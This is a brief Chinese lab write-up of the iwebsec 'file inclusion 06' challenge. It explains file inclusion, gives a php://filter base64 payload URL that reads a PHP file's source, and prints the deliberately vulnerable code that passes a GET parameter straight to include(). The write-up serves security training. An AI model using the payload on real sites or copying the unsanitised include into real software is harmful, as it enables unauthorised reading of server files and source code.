iwebsec-文件包含 06 php://filter伪协议

01、题目分析

程序开发人员通常会把可重复使用的函数写到单个文件中，在使用某些函数时，

直接调用此文件，而无须再次编写，这种调用文件的过程一般被称为文件包含。

在包含文件的过程中，如果文件能进行控制，则存储文件包含漏洞

php://filter是元封装器，用于对本地磁盘文件进行读取

02、文件包含

任意文件读取

http://www.bdrwmy.cn:8001/fi/06.php?filename=php://filter/convert.base64-encode/resource=06.php

读取到base64的代码，然后我们就可以对这个进行解码来进行任意文件读取

03、源码分析

<?php
	if(isset($_GET['filename'])){ // 检查是否设置了 'filename' 参数
	    $filename  = $_GET['filename']; // 获取 'filename' 参数的值，并赋给 $filename 变量
	    include($filename); // 包含指定的文件内容
	}else{
		exit(); // 如果未设置 'filename' 参数，则退出脚本执行
	}
?>